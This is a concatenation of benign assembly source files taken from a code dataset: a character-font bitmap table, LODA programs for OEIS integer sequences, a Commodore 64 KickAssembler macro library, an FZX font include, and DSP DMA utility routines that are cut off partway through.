$00, $00, $00, $ff, $ff, $00, $00, $00 fcb $18, $3c, $66, $7e, $66, $66, $66, $00 fcb $7c, $66, $66, $7c, $66, $66, $7c, $00 fcb $3c, $66, $60, $60, $60, $66, $3c, $00 fcb $78, $6c, $66, $66, $66, $6c, $78, $00 fcb $7e, $60, $60, $78, $60, $60, $7e, $00 fcb $7e, $60, $60, $78, $60, $60, $60, $00 fcb $3c, $66, $60, $6e, $66, $66, $3c, $00 fcb $66, $66, $66, $7e, $66, $66, $66, $00 fcb $3c, $18, $18, $18, $18, $18, $3c, $00 fcb $1e, $0c, $0c, $0c, $0c, $6c, $38, $00 fcb $66, $6c, $78, $70, $78, $6c, $66, $00 fcb $60, $60, $60, $60, $60, $60, $7e, $00 fcb $63, $77, $7f, $6b, $63, $63, $63, $00 fcb $66, $76, $7e, $7e, $6e, $66, $66, $00 fcb $3c, $66, $66, $66, $66, $66, $3c, $00 fcb $7c, $66, $66, $7c, $60, $60, $60, $00 fcb $3c, $66, $66, $66, $66, $3c, $0e, $00 fcb $7c, $66, $66, $7c, $78, $6c, $66, $00 fcb $3c, $66, $60, $3c, $06, $66, $3c, $00 fcb $7e, $18, $18, $18, $18, $18, $18, $00 fcb $66, $66, $66, $66, $66, $66, $3c, $00 fcb $66, $66, $66, $66, $66, $3c, $18, $00 fcb $63, $63, $63, $6b, $7f, $77, $63, $00 fcb $66, $66, $3c, $18, $3c, $66, $66, $00 fcb $66, $66, $66, $3c, $18, $18, $18, $00 fcb $7e, $06, $0c, $18, $30, $60, $7e, $00 fcb $18, $18, $18, $ff, $ff, $18, $18, $18 fcb $c0, $c0, $30, $30, $c0, $c0, $30, $30 fcb $18, $18, $18, $18, $18, $18, $18, $18 fcb $33, $33, $cc, $cc, $33, $33, $cc, $cc fcb $33, $99, $cc, $66, $33, $99, $cc, $66 fcb $00, $00, $00, $00, $00, $00, $00, $00 fcb $f0, $f0, $f0, $f0, $f0, $f0, $f0, $f0 fcb $00, $00, $00, $00, $ff, $ff, $ff, $ff fcb $ff, $00, $00, $00, $00, $00, $00, $00 fcb $00, $00, $00, $00, $00, $00, $00, $ff fcb $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0 fcb $cc, $cc, $33, $33, $cc, $cc, $33, $33 fcb $03, $03, $03, $03, $03, $03, $03, $03 fcb $00, $00, $00, $00, $cc, $cc, $33, $33 fcb $cc, $99, $33, $66, $cc, $99, $33, $66 fcb $03, $03, $03, $03, $03, $03, $03, $03 fcb $18, $18, $18, $1f, $1f, $18, $18, $18 fcb $00, $00, $00, $00, $0f, $0f, $0f, $0f fcb $18, $18, $18, $1f, $1f, $00, $00, $00 fcb $00, $00, $00, $f8, $f8, $18, $18, $18 fcb $00, $00, $00, $00, $00, $00, $ff, $ff fcb $00, $00, $00, $1f, $1f, $18, $18, $18 fcb $18, $18, $18, $ff, $ff, $00, $00, $00 fcb $00, $00, $00, $ff, $ff, $18, $18, $18 fcb $18, $18, $18, $f8, $f8, $18, $18, $18 fcb $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0 fcb $e0, $e0, $e0, $e0, $e0, $e0, $e0, $e0 fcb $07, $07, $07, $07, $07, $07, $07, $07 fcb $ff, $ff, $00, $00, $00, $00, $00, $00 fcb $ff, $ff, $ff, $00, $00, $00, $00, $00 fcb $00, $00, $00, $00, $00, $ff, $ff, $ff fcb $01, $03, $06, $6c, $78, $70, $60, $00 fcb $00, $00, $00, $00, $f0, $f0, $f0, $f0 fcb $0f, $0f, $0f, $0f, $00, $00, $00, $00 fcb $18, $18, $18, $f8, $f8, $00, $00, $00 fcb $f0, $f0, $f0, $f0, $00, $00, $00, $00 fcb $f0, $f0, $f0, $f0, $0f, $0f, $0f, $0f fcb $c3, $99, $91, $91, $9f, $99, $c3, $ff fcb $ff, $ff, $c3, $f9, $c1, $99, $c1, $ff fcb $ff, $9f, $9f, $83, $99, $99, $83, $ff fcb $ff, $ff, $c3, $9f, $9f, $9f, $c3, $ff fcb $ff, $f9, $f9, $c1, $99, $99, $c1, $ff fcb $ff, $ff, $c3, $99, $81, $9f, $c3, $ff fcb $ff, $f1, $e7, $c1, $e7, $e7, $e7, $ff fcb $ff, $ff, $c1, $99, $99, $c1, $f9, $83 fcb $ff, $9f, $9f, $83, $99, $99, $99, $ff fcb $ff, $e7, $ff, $c7, $e7, $e7, $c3, $ff fcb $ff, $f9, $ff, $f9, $f9, $f9, $f9, $c3 fcb $ff, $9f, $9f, $93, $87, $93, $99, $ff fcb $ff, $c7, $e7, $e7, $e7, $e7, $c3, $ff fcb $ff, $ff, $99, $80, $80, $94, $9c, $ff fcb $ff, $ff, $83, $99, $99, $99, $99, $ff fcb $ff, $ff, $c3, $99, $99, $99, $c3, $ff fcb $ff, $ff, $83, $99, $99, $83, $9f, $9f fcb $ff, $ff, $c1, $99, $99, $c1, $f9, $f9 fcb $ff, $ff, $83, $99, $9f, $9f, $9f, $ff fcb $ff, $ff, $c1, $9f, $c3, $f9, $83, $ff fcb $ff, $e7, $81, $e7, $e7, $e7, $f1, $ff fcb $ff, $ff, $99, $99, $99, $99, $c1, $ff fcb $ff, $ff, $99, $99, $99, $c3, $e7, $ff fcb $ff, $ff, $9c, $94, $80, $c1, $c9, $ff fcb $ff, $ff, $99, $c3, $e7, $c3, $99, $ff fcb $ff, $ff, $99, $99, $99, $c1, $f3, $87 fcb $ff, $ff, $81, $f3, $e7, $cf, $81, $ff fcb $c3, $cf, $cf, $cf, $cf, $cf, $c3, $ff fcb $f3, $ed, $cf, $83, $cf, $9d, $03, $ff fcb $c3, $f3, $f3, $f3, $f3, $f3, $c3, $ff fcb $ff, $e7, $c3, $81, $e7, $e7, $e7, $e7 fcb $ff, $ef, $cf, $80, $80, $cf, $ef, $ff fcb $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff fcb $e7, $e7, $e7, $e7, $ff, $ff, $e7, $ff fcb $99, $99, $99, $ff, $ff, $ff, $ff, $ff fcb $99, $99, $00, $99, $00, $99, $99, $ff fcb $e7, $c1, $9f, $c3, $f9, $83, $e7, $ff fcb $9d, $99, $f3, $e7, $cf, $99, $b9, $ff fcb $c3, $99, $c3, $c7, $98, $99, $c0, $ff fcb $f9, $f3, $e7, $ff, $ff, $ff, $ff, $ff fcb $f3, $e7, $cf, $cf, $cf, $e7, $f3, $ff fcb $cf, $e7, $f3, $f3, $f3, $e7, $cf, $ff fcb $ff, $99, $c3, $00, $c3, $99, $ff, $ff fcb $ff, $e7, $e7, $81, $e7, $e7, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $e7, $e7, $cf fcb $ff, $ff, $ff, $81, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $e7, $e7, $ff fcb $ff, $fc, $f9, $f3, $e7, $cf, $9f, $ff fcb $c3, $99, $91, $89, $99, $99, $c3, $ff fcb $e7, $e7, $c7, $e7, $e7, $e7, $81, $ff fcb $c3, $99, $f9, $f3, $cf, $9f, $81, $ff fcb $c3, $99, $f9, $e3, $f9, $99, $c3, $ff fcb $f9, $f1, $e1, $99, $80, $f9, $f9, $ff fcb $81, $9f, $83, $f9, $f9, $99, $c3, $ff fcb $c3, $99, $9f, $83, $99, $99, $c3, $ff fcb $81, $99, $f3, $e7, $e7, $e7, $e7, $ff fcb $c3, $99, $99, $c3, $99, $99, $c3, $ff fcb $c3, $99, $99, $c1, $f9, $99, $c3, $ff fcb $ff, $ff, $e7, $ff, $ff, $e7, $ff, $ff fcb $ff, $ff, $e7, $ff, $ff, $e7, $e7, $cf fcb $f1, $e7, $cf, $9f, $cf, $e7, $f1, $ff fcb $ff, $ff, $81, $ff, $81, $ff, $ff, $ff fcb $8f, $e7, $f3, $f9, $f3, $e7, $8f, $ff fcb $c3, $99, $f9, $f3, $e7, $ff, $e7, $ff fcb $ff, $ff, $ff, $00, $00, $ff, $ff, $ff fcb $e7, $c3, $99, $81, $99, $99, $99, $ff fcb $83, $99, $99, $83, $99, $99, $83, $ff fcb $c3, $99, $9f, $9f, $9f, $99, $c3, $ff fcb $87, $93, $99, $99, $99, $93, $87, $ff fcb $81, $9f, $9f, $87, $9f, $9f, $81, $ff fcb $81, $9f, $9f, $87, $9f, $9f, $9f, $ff fcb $c3, $99, $9f, $91, $99, $99, $c3, $ff fcb $99, $99, $99, $81, $99, $99, $99, $ff fcb $c3, $e7, $e7, $e7, $e7, $e7, $c3, $ff fcb $e1, $f3, $f3, $f3, $f3, $93, $c7, $ff fcb $99, $93, $87, $8f, $87, $93, $99, $ff fcb $9f, $9f, $9f, $9f, $9f, $9f, $81, $ff fcb $9c, $88, $80, $94, $9c, $9c, $9c, $ff fcb $99, $89, $81, $81, $91, $99, $99, $ff fcb $c3, $99, $99, $99, $99, $99, $c3, $ff fcb $83, $99, $99, $83, $9f, $9f, $9f, $ff fcb $c3, $99, $99, $99, $99, $c3, $f1, $ff fcb $83, $99, $99, $83, $87, $93, $99, $ff fcb $c3, $99, $9f, $c3, $f9, $99, $c3, $ff fcb $81, $e7, $e7, $e7, $e7, $e7, $e7, $ff fcb $99, $99, $99, $99, $99, $99, $c3, $ff fcb $99, $99, $99, $99, $99, $c3, $e7, $ff fcb $9c, $9c, $9c, $94, $80, $88, $9c, $ff fcb $99, $99, $c3, $e7, $c3, $99, $99, $ff fcb $99, $99, $99, $c3, $e7, $e7, $e7, $ff fcb $81, $f9, $f3, $e7, $cf, $9f, $81, $ff fcb $e7, $e7, $e7, $00, $00, $e7, $e7, $e7 fcb $3f, $3f, $cf, $cf, $3f, $3f, $cf, $cf fcb $e7, $e7, $e7, $e7, $e7, $e7, $e7, $e7 fcb $cc, $cc, $33, $33, $cc, $cc, $33, $33 fcb $cc, $66, $33, $99, $cc, $66, $33, $99 fcb $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff fcb $0f, $0f, $0f, $0f, $0f, $0f, $0f, $0f fcb $ff, $ff, $ff, $ff, $00, $00, $00, $00 fcb $00, $ff, $ff, $ff, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $ff, $ff, $00 fcb $3f, $3f, $3f, $3f, $3f, $3f, $3f, $3f fcb $33, $33, $cc, $cc, $33, $33, $cc, $cc fcb $fc, $fc, $fc, $fc, $fc, $fc, $fc, $fc fcb $ff, $ff, $ff, $ff, $33, $33, $cc, $cc fcb $33, $66, $cc, $99, $33, $66, $cc, $99 fcb $fc, $fc, $fc, $fc, $fc, $fc, $fc, $fc fcb $e7, $e7, $e7, $e0, $e0, $e7, $e7, $e7 fcb $ff, $ff, $ff, $ff, $f0, $f0, $f0, $f0 fcb $e7, $e7, $e7, $e0, $e0, $ff, $ff, $ff fcb $ff, $ff, $ff, $07, $07, $e7, $e7, $e7 fcb $ff, $ff, $ff, $ff, $ff, $ff, $00, $00 fcb $ff, $ff, $ff, $e0, $e0, $e7, $e7, $e7 fcb $e7, $e7, $e7, $00, $00, $ff, $ff, $ff fcb $ff, $ff, $ff, $00, $00, $e7, $e7, $e7 fcb $e7, $e7, $e7, $07, $07, $e7, $e7, $e7 fcb $3f, $3f, $3f, $3f, $3f, $3f, $3f, $3f fcb $1f, $1f, $1f, $1f, $1f, $1f, $1f, $1f fcb $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8 fcb $00, $00, $ff, $ff, $ff, $ff, $ff, $ff fcb $00, $00, $00, $ff, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $00, $00, $00 fcb $fe, $fc, $f9, $93, $87, $8f, $9f, $ff fcb $ff, $ff, $ff, $ff, $0f, $0f, $0f, $0f fcb $f0, $f0, $f0, $f0, $ff, $ff, $ff, $ff fcb $e7, $e7, $e7, $07, $07, $ff, $ff, $ff fcb $0f, $0f, $0f, $0f, $ff, $ff, $ff, $ff fcb $0f, $0f, $0f, $0f, $f0, $f0, $f0, $f0 TEXTATBITMASK fcb $00, $10, $01, $11 TEXTATFLIP fcb $0, $8, $4, $c, $2, $a, $6, $e fcb $1, $9, $5, $d, $3, $b, $7, $f
27.901639
80
0.458578
f03cd317e78158849e6d2fd8f98e4a3481814fba
377
asm
Assembly
programs/oeis/100/A100052.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/100/A100052.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/100/A100052.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A100052: A Chebyshev transform of the odd numbers. ; 1,3,3,-2,-9,-9,2,15,15,-2,-21,-21,2,27,27,-2,-33,-33,2,39,39,-2,-45,-45,2,51,51,-2,-57,-57,2,63,63,-2,-69,-69,2,75,75,-2,-81,-81,2,87,87,-2,-93,-93,2,99,99,-2,-105,-105,2,111,111,-2,-117,-117 mov $1,$0 sub $1,1 mov $2,$0 mov $3,1 lpb $2,1 add $3,$2 add $3,$1 mov $0,$3 sub $1,$3 sub $2,1 lpe mov $1,$0 add $1,1
22.176471
193
0.546419
d8fe7b68d8e86d9f55d258b2a920b1ac3b446901
393
asm
Assembly
programs/oeis/316/A316631.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/316/A316631.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/316/A316631.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A316631: Expansion of A(x) = x*(1+3*x^2+x^3+3*x^4+x^6)/(1-x^4)^2. ; 0,1,0,3,1,5,0,7,2,9,0,11,3,13,0,15,4,17,0,19,5,21,0,23,6,25,0,27,7,29,0,31,8,33,0,35,9,37,0,39,10,41,0,43,11,45,0,47,12,49,0,51,13,53,0,55,14,57,0,59,15,61,0,63,16,65,0,67,17,69,0,71,18,73,0,75,19,77,0,79,20 mov $1,$0 mov $2,$0 add $2,2 mov $3,2 add $3,$0 gcd $3,4 div $3,2 sub $3,$2 add $3,$0 pow $3,2 mul $1,$3 div $1,4
24.5625
209
0.56743
1b2c1aed58ef177811adab363ab492ef7ed351ed
3,069
asm
Assembly
lib/common.asm
c64lib/common
aa329b032d3cd2948408b4d37d01c3523eadd078
[ "MIT" ]
7
2018-12-27T00:37:36.000Z
2021-12-22T13:57:57.000Z
lib/common.asm
c64lib/common
aa329b032d3cd2948408b4d37d01c3523eadd078
[ "MIT" ]
2
2018-09-03T21:28:53.000Z
2019-12-26T19:05:30.000Z
lib/common.asm
c64lib/common
aa329b032d3cd2948408b4d37d01c3523eadd078
[ "MIT" ]
null
null
null
#importonce .filenamespace c64lib /* * Why Kickassembler does not support bitwise negation on numerical values? * * Params: * value: byte to be negated */ .function neg(value) { .return value ^ $FF } .assert "neg($00) gives $FF", neg($00), $FF .assert "neg($FF) gives $00", neg($FF), $00 .assert "neg(%10101010) gives %01010101", neg(%10101010), %01010101 /* * Increases argument by one preserving its type (addressing mode). To be used in pseudocommands. * * Params: * arg: mnemonic argument */ .function incArgument(arg) { .return CmdArgument(arg.getType(), arg.getValue() + 1) } /* * "Far" bne branch. Depending on the jump length it either does bne or beq/jmp trick. */ .macro fbne(label) { here: // we have to add 2 to "here", because relative jump is counted right after bne xx, and this instruction takes 2 bytes .if (here > label) { // jump back .if (here + 2 - label <= 128) { bne label } else { beq skip jmp label skip: } } else { // jump forward .if (label - here - 2 <= 127) { bne label } else { beq skip jmp label skip: } } } /* * "Far" bmi branch. Depending on the jump length it either does bne or beq/jmp trick. */ .macro fbmi(label) { here: // we have to add 2 to "here", because relative jump is counted right after bne xx, and this instruction takes 2 bytes .if (here > label) { // jump back .if (here + 2 - label <= 128) { bmi label } else { bpl skip beq skip jmp label skip: } } else { // jump forward .if (label - here - 2 <= 127) { bmi label } else { bpl skip beq skip jmp label skip: } } } /* * Convert kbytes to bytes. */ .function toBytes(value) { .return value * 1024 } .function convertHires(data) { .var result = "" .for(var i = 0; i < data.size(); i++) { .var ch = data.charAt(i) .if (ch == '.') { .eval result = result + '0' } else { .eval result = result + '1' } } .return result.asNumber(2) } .assert @"convertHires(\"........\") = 0", convertHires("........"), 0 .assert @"convertHires(\".......#\") = 1", convertHires(".......#"), 1 .assert @"convertHires(\"########\") = 255", convertHires("########"), 255 .function convertMultic(data) { .var result = "" .for(var i = 0; i < data.size(); i++) { .var ch = data.charAt(i) .if (ch == '.') .eval result = result + "00" .if (ch == '#') .eval result = result + "11" .if (ch == '+') .eval result = result + "01" .if (ch == 'o') .eval result = result + "10" } .return result.asNumber(2) } .assert @"convertMultic(\"....\") = 0", convertMultic("...."), 0 .assert @"convertMultic(\"...#\") = 3", convertMultic("...#"), 3 .assert @"convertMultic(\"####\") = 255", convertMultic("####"), 255 .macro ch(data) { .byte convertHires(data.substring(0, 8)) } .macro cm(data) { .byte convertMultic(data.substring(0, 4)) }
24.357143
126
0.544803
10b60e60ed3e2fb6c5da982f3d42640abbd99eb9
2,127
asm
Assembly
programs/oeis/156/A156639.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/156/A156639.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/156/A156639.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A156639: a(n) = 169*n^2 - 140*n + 29. ; 58,425,1130,2173,3554,5273,7330,9725,12458,15529,18938,22685,26770,31193,35954,41053,46490,52265,58378,64829,71618,78745,86210,94013,102154,110633,119450,128605,138098,147929,158098,168605,179450,190633,202154,214013,226210,238745,251618,264829,278378,292265,306490,321053,335954,351193,366770,382685,398938,415529,432458,449725,467330,485273,503554,522173,541130,560425,580058,600029,620338,640985,661970,683293,704954,726953,749290,771965,794978,818329,842018,866045,890410,915113,940154,965533,991250,1017305,1043698,1070429,1097498,1124905,1152650,1180733,1209154,1237913,1267010,1296445,1326218,1356329,1386778,1417565,1448690,1480153,1511954,1544093,1576570,1609385,1642538,1676029,1709858,1744025,1778530,1813373,1848554,1884073,1919930,1956125,1992658,2029529,2066738,2104285,2142170,2180393,2218954,2257853,2297090,2336665,2376578,2416829,2457418,2498345,2539610,2581213,2623154,2665433,2708050,2751005,2794298,2837929,2881898,2926205,2970850,3015833,3061154,3106813,3152810,3199145,3245818,3292829,3340178,3387865,3435890,3484253,3532954,3581993,3631370,3681085,3731138,3781529,3832258,3883325,3934730,3986473,4038554,4090973,4143730,4196825,4250258,4304029,4358138,4412585,4467370,4522493,4577954,4633753,4689890,4746365,4803178,4860329,4917818,4975645,5033810,5092313,5151154,5210333,5269850,5329705,5389898,5450429,5511298,5572505,5634050,5695933,5758154,5820713,5883610,5946845,6010418,6074329,6138578,6203165,6268090,6333353,6398954,6464893,6531170,6597785,6664738,6732029,6799658,6867625,6935930,7004573,7073554,7142873,7212530,7282525,7352858,7423529,7494538,7565885,7637570,7709593,7781954,7854653,7927690,8001065,8074778,8148829,8223218,8297945,8373010,8448413,8524154,8600233,8676650,8753405,8830498,8907929,8985698,9063805,9142250,9221033,9300154,9379613,9459410,9539545,9620018,9700829,9781978,9863465,9945290,10027453,10109954,10192793,10275970,10359485,10443338,10527529 mov $2,$0 add $2,$0 add $2,$0 mov $3,$2 mul $2,2 mov $4,$0 add $0,$3 add $2,$3 add $0,$2 sub $2,$2 lpb $0 sub $0,1 add $1,$2 add $2,2 lpe lpb $4 add $1,211 sub $4,1 lpe add $1,58
88.625
1,896
0.828397
4f4530da221c83540e6bee34d6622098b4063233
158
asm
Assembly
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/GenevaMono/_ff_ao_GenevaMonoBold.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/GenevaMono/_ff_ao_GenevaMonoBold.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/GenevaMono/_ff_ao_GenevaMonoBold.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION rodata_font SECTION rodata_font_fzx PUBLIC _ff_ao_GenevaMonoBold _ff_ao_GenevaMonoBold: BINARY "font/fzx/fonts/ao/GenevaMono/GenevaMonoBold.fzx"
14.363636
56
0.85443
2443942768f05431ca6a487fbe4036b32240cf4c
565
asm
Assembly
programs/oeis/188/A188716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/188/A188716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/188/A188716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A188716: a(n) = n + (n-1)*(2^n-2). ; 1,1,4,15,46,125,316,763,1786,4089,9208,20471,45046,98293,212980,458739,983026,2097137,4456432,9437167,19922926,41943021,88080364,184549355,385875946,805306345,1677721576,3489660903,7247757286,15032385509,31138512868,64424509411,133143986146,274877906913,566935683040,1168231104479,2405181685726,4947802324957,10170482556892,20890720927707,42880953483226,87960930222041,180319906955224,369435906932695,756463999909846,1548112371908565,3166593487994836,6473924464345043 mov $1,2 pow $1,$0 sub $0,1 mul $1,$0 sub $1,$0 add $1,1
56.5
469
0.823009
4f7ac156d6955dc741451b1e03e3d4ab369e92a7
14,797
asm
Assembly
flash_driver/src/lib/cpu/1967VN0x4/lib/dma_utils.asm
mcjtag/eval-kits
4c7e4568ac5cace05f3d50f9462ad3ecf76383b5
[ "MIT" ]
null
null
null
flash_driver/src/lib/cpu/1967VN0x4/lib/dma_utils.asm
mcjtag/eval-kits
4c7e4568ac5cace05f3d50f9462ad3ecf76383b5
[ "MIT" ]
null
null
null
flash_driver/src/lib/cpu/1967VN0x4/lib/dma_utils.asm
mcjtag/eval-kits
4c7e4568ac5cace05f3d50f9462ad3ecf76383b5
[ "MIT" ]
null
null
null
#include <defts201.h> .section/charany/doubleany program; .align 4; //-------------------------------------------------------// // DMA pause bits position decode table // Value returned should be used ORed/AND NOTed with DCNT //-------------------------------------------------------// .var _DCNT_BITS_TABLE [] = { DCNT_DMA0, // ch #0 DCNT_DMA1, // ch #1 DCNT_DMA2, // ch #2 DCNT_DMA3, // ch #3 DCNT_DMA4, // ch #4 DCNT_DMA5, // ch #5 DCNT_DMA6, // ch #6 DCNT_DMA7, // ch #7 DCNT_DMA8, // ch #8 DCNT_DMA9, // ch #9 DCNT_DMA10, // ch #10 DCNT_DMA11, // ch #11 DCNT_DMA12, // ch #12 DCNT_DMA13 // ch #13 }; //-------------------------------------------------------// // DMA status decode table // Value returned should be used with "fext" instruction //-------------------------------------------------------// .align 4; .var _DSTAT_CODE_TABLE [] = { // LOW group DSTATL0, // ch #0 DSTATL1, // ch #1 DSTATL2, // ch #2 DSTATL3, // ch #3 DSTATL4, // ch #4 DSTATL5, // ch #5 DSTATL6, // ch #6 DSTATL7, // ch #7 // High group DSTATH8, // ch #8 DSTATH9, // ch #9 DSTATH10, // ch #10 DSTATH11, // ch #11 DSTATH12, // ch #12 DSTATH13 // ch #13 }; .align 4; .var _zero_qw [] = { 0, 0, 0, 0 }; //-------------------------------------------------------// // Reading of a DMA channel TCB by index // Used by DMA chain insertion routine //-------------------------------------------------------// .section/charany program; .align_code 4; _get_indexed_tcb: cjmp(abs); j3:0 = DCS0; nop; nop;; // + 0 cjmp(abs); j3:0 = DCS1; nop; nop;; // + 4 cjmp(abs); j3:0 = DCS2; nop; nop;; // + 8 cjmp(abs); j3:0 = DCS3; nop; nop;; cjmp(abs); j3:0 = DC4; nop; nop;; cjmp(abs); j3:0 = DC5; nop; nop;; cjmp(abs); j3:0 = DC6; nop; nop;; cjmp(abs); j3:0 = DC7; nop; nop;; cjmp(abs); j3:0 = DC8; nop; nop;; cjmp(abs); j3:0 = DC9; nop; nop;; cjmp(abs); j3:0 = DC10; nop; nop;; cjmp(abs); j3:0 = DC11; nop; nop;; cjmp(abs); j3:0 = DC12; nop; nop;; cjmp(abs); j3:0 = DC13; nop; nop;; // + 52 nop; nop; nop; nop;; nop; nop; nop; nop;; cjmp(abs); j3:0 = DCD0; nop; nop;; // + 64 (0x40) cjmp(abs); j3:0 = DCD1; nop; nop;; // + 68 cjmp(abs); j3:0 = DCD2; nop; nop;; // + 72 cjmp(abs); j3:0 = DCD3; nop; nop;; // + 76 //-------------------------------------------------------// // Writing of a DMA channel TCB by index // Used by DMA chain insertion routine //-------------------------------------------------------// .section/charany program; .align_code 4; _set_indexed_tcb: cjmp(abs); DCS0 = j3:0; nop; nop;; // + 0 cjmp(abs); DCS1 = j3:0; nop; nop;; // + 4 cjmp(abs); DCS2 = j3:0; nop; nop;; // + 8 cjmp(abs); DCS3 = j3:0; nop; nop;; cjmp(abs); DC4 = j3:0; nop; nop;; cjmp(abs); DC5 = j3:0; nop; nop;; cjmp(abs); DC6 = j3:0; nop; nop;; cjmp(abs); DC7 = j3:0; nop; nop;; cjmp(abs); DC8 = j3:0; nop; nop;; cjmp(abs); DC9 = j3:0; nop; nop;; cjmp(abs); DC10 = j3:0; nop; nop;; cjmp(abs); DC11 = j3:0; nop; nop;; cjmp(abs); DC12 = j3:0; nop; nop;; cjmp(abs); DC13 = j3:0; nop; nop;; // + 52 nop; nop; nop; nop;; nop; nop; nop; nop;; cjmp(abs); DCD0 = j3:0; nop; nop;; // + 64 (0x40) cjmp(abs); DCD1 = j3:0; nop; nop;; // + 68 cjmp(abs); DCD2 = j3:0; nop; nop;; cjmp(abs); DCD3 = j3:0; nop; nop;; //-------------------------------------------------------// // Reading DMA channel status // // Arguments: // j4 - channel number // Outputs: // j8 <- value // Scratch: // xr3:0, jstat //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_GetChannelStatus; .align_code 4; _DMA_GetChannelStatus: comp(j4, 7)(U); xr1:0 = DSTAT;; if njle; do, xr0 = xr1; xr2 = [j4 + _DSTAT_CODE_TABLE];; xr3 = fext r0 by r2 (nf);; cjmp (abs); j8 = xr3;; _DMA_GetChannelStatus.end: //-------------------------------------------------------// // Reading DMA channel status with clear // // Arguments: // j4 - channel number // Outputs: // j8 <- value // Scratch: // xr3:0, jstat //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_GetChannelStatusClear; .align_code 4; _DMA_GetChannelStatusClear: comp(j4, 7)(U); xr1:0 = DSTATC;; if njle; do, xr0 = xr1; xr2 = [j4 + _DSTAT_CODE_TABLE];; xr3 = fext r0 by r2 (nf);; cjmp (abs); j8 = xr3;; _DMA_GetChannelStatusClear.end: //-------------------------------------------------------// // Check DMA channel status // // Arguments: // j4 - channel number // j5 - value to compare with // Outputs: // j8 <- 0 if channel status is equal to j5 // 1 if not equal // Scratch: // xr3:0, xr4, jstat //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_CheckChannelStatus; .align_code 4; _DMA_CheckChannelStatus: call _DMA_GetChannelStatus; xr4 = cjmp;; comp(j8, j5); j8 = 0x00;; if njeq; do, j8 = 0x01; cjmp = xr4;; cjmp(abs)(np); nop; nop; nop;; _DMA_CheckChannelStatus.end: //-------------------------------------------------------// // Wait for the channel to complete - // status is different from ACTIVE // // Arguments: // j4 - channel number // // Outputs: // j8 <- channel status // Scratch: // xr3:0, xr4, jstat //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_WaitForChannel; .align_code 4; _DMA_WaitForChannel: xr4 = cjmp;; _DMA_WaitForChannel_loop: call _DMA_GetChannelStatus;; comp(j8, DSTAT_ACT);; nop;; nop;; if jeq, jump _DMA_WaitForChannel_loop; else, cjmp = xr4;; cjmp(abs)(np);; _DMA_WaitForChannel.end: //-------------------------------------------------------// // Wait for the channel to complete with allowed timeout - // status is different from ACTIVE // // Arguments: // j4 - channel number // j5 - timeout (core cycles) // Outputs: // j8 <- channel status // Scratch: // xr3:0, yr3:0, xr4, jstat, //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_WaitForChannelTimed; .align_code 4; _DMA_WaitForChannelTimed: yr0 = CCNT0; yr2 = j5;; yr1 = CCNT1; yr3 = 0;; ylr3:2 = r1:0 + r3:2; xr4 = cjmp;; _DMA_WaitForChannelTimed_loop: call _DMA_GetChannelStatus;; comp(j8, DSTAT_ACT); cjmp = xr4;; yr0 = CCNT0;; yr1 = CCNT1;; if njeq, cjmp(abs)(np);; // channel is done // Check timeout ylr1:0 = r1:0 - r3:2;; if yalt, jump _DMA_WaitForChannelTimed_loop;; cjmp(abs)(np);; // timeout _DMA_WaitForChannelTimed.end: //-------------------------------------------------------// // Write quadword from memory to DMA control regs // // Arguments: // j4 - channel number (4 to 13) // j5 - pointer to qw (must be 4-aligned!) // Outputs: // none // Scratch: // xr3:0, jstat, j7:6 //-------------------------------------------------------// .section/charany/doubleany program; .global _DMA_WriteDC; .align_code 4; _DMA_WriteDC: xr3:0 = Q[j5 + 0x00];; comp(j4, 3)(U);; if jle, cjmp(abs)(np); comp(j4, 13)(U);; if njle, 